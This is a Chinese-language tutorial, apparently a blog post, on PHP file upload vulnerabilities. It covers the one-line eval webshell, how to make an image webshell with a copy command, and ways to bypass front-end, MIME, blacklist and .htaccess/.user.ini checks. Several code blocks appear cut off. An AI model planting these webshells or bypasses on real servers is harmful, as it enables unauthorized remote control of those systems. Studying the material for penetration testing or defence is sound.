文件上传漏洞的产生
服务器由php等语言搭建,那么对于一些需要上传到服务器的数据我们是否可以用php语句组成,他们又能否被执行。显然答案是肯定的。我们上传的php语句可以被执行,这也就是文件上传漏洞。
木马和webshell
在进行文件上传漏洞利用时,我们首先得知道我们要上传的是什么,木马和webshell是什么。不然你好不容易上传了一个文件却发现没有用。
webshell
(也就是木马)
1 | webshell是恶意的脚本,可以获得服务器的执行操作权限,常见语言asp, |
2.木马:
这里我们介绍一句话木马,图片马和大马。
一句话木马:
1 | 一句话木马(php): |
下面这是一个正常的登录页面
我们在其php源码中加入@eval($_POST[‘attack’]);
接着我们通过burpsuit传入一个attack。
attack=phpinfo();
这个时候我们就可以得到其php信息了。
图片马:
对于一些上传的地方不能直接上传php文件,我们可以将php语句隐藏到图片中,从而达到上传的目的。
一般对于网站,图片是不会直接被解析的,因此图片马一般还伴随着文件包含漏洞,web容器解析漏洞等其他漏洞一起才能被利用。
1 | 图片马的制作: |
先准备好一个图片(12.jpg)一个php文件(2.php),然后要在他们的同一目录中打开命令提示符。输入copy 12.jpg/b+2.php/a demo.jpg 从而得到demo.jpg,这个文件就是一个图片马
大马
对于一个网站,我们需要进行许多操作,如修改权限,增加用户等功能,显然一句话木马是无法满足的,这个时候我们将php语句系统的编写一个木马,这就是大马。(初学者可以在github上下载)
webshell的管理工具(蚁剑)
对于我们上传的webshell,我们需要对其进行操作,为了能够更方便的使用,我们可以使用蚁剑来连接我们的webshell进行操作
文件上传漏洞的一些简单绕过
前端的绕过
前端的绕过是最简单的,常见验证在js中。
1.我们可以通过修改html源码来进行绕过
对于下面这个文件上传的验证,很容易看出来其通过函数调用的方式验证,这里我们可以将return checkfile()改为return ture,然后就可以上传了
2.我们可以通过burpsuite修改绕过
同样对于上面这个,我们可以先将我们的php文件改为合法的。
如2.php先改为2.jpg,将2.jpg上传,然后通过burpsuite抓取数据包,再将数据改后来,就达到了绕过前端的目的了
后端的绕过
1.mime验证的绕过
1 | 通过扩展名来验证,数据的大类别/具体种类 |
我们绕过要做的就是将其类别修改为合法,一般mime的判断是通过content-type来验证,如:
2 黑名单验证的绕过
一些安全等级比较低的网站会采用这种验证方式,原理就是通过列出不允许出现的名字作为黑名单,当上传和黑名单中的名字一样时就会被禁止。
1 | 这里创建一个数组,将不能上传的列出来作为黑名单: |
服务器配置问题导致绕过
.htaccess漏洞:
.htaccess文件是一个配置文件,里面可以修改文件的权限,可以启用脚本,禁用脚本,限定文件类型等。
1 | 对于这种: |
与.htaccess相类似的还有一个**.user.ini**
关于.user.ini:
1 | https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html |